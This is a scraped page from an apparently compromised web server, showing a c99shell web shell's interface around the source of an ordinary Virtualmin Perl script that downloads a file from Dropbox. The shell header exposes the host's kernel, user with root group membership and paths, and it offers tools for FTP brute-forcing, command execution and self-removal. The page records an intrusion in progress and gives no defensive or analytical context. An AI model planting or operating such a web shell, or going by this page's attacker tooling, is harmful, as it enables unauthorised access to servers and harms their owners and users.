smm.picotech.app - c99shell

!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!
Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /usr/share/webmin/virtual-server/ drwxrwxr-x Free 28.64 GB of 117.98 GB (24.28%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Self remove Logout


#!/usr/bin/perl

=head1 download-dropbox-file.pl

Downloads a single file from a Dropbox.

This command downloads a single file from Dropbox to your Virtualmin
system, specified by the C<--file> flag. The destination it will be
written to locally is set with the C<--dest> flag.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/download-dropbox-file.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "download-dropbox-file.pl must be run as root";
    }
&require_mail();

# Parse command-line args
$owner = 1;
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--dest") {
        $dest = shift(@ARGV);
        }
    elsif ($a eq "--file") {
        $file = shift(@ARGV);
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }
$dest || &usage("Missing --dest parameter");
$file || &usage("Missing --file parameter");
if (-d $dest) {
    ($base = $file) =~ s/^.*\///;
    $dest = $dest."/".$base;
    }

# Try the download
$file =~ /^\/?(.*)\/([^\/]+)$/ || &usage("Invalid file path");
$err = &download_dropbox_file($1, $2, $dest);
if ($err) {
    print "ERROR: $err\n";
    exit(1);
    }
else {
    @st = stat($dest);
    print "OK: Downloaded $file size $st[7] bytes\n";
    }

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Downloads a single file from a Dropbox.\n";
print "\n";
print "virtualmin download-dropbox-file --file source-path\n";
print "                                 --dest local-path\n";
exit(1);
}

:: Command execute ::
Enter:	Select: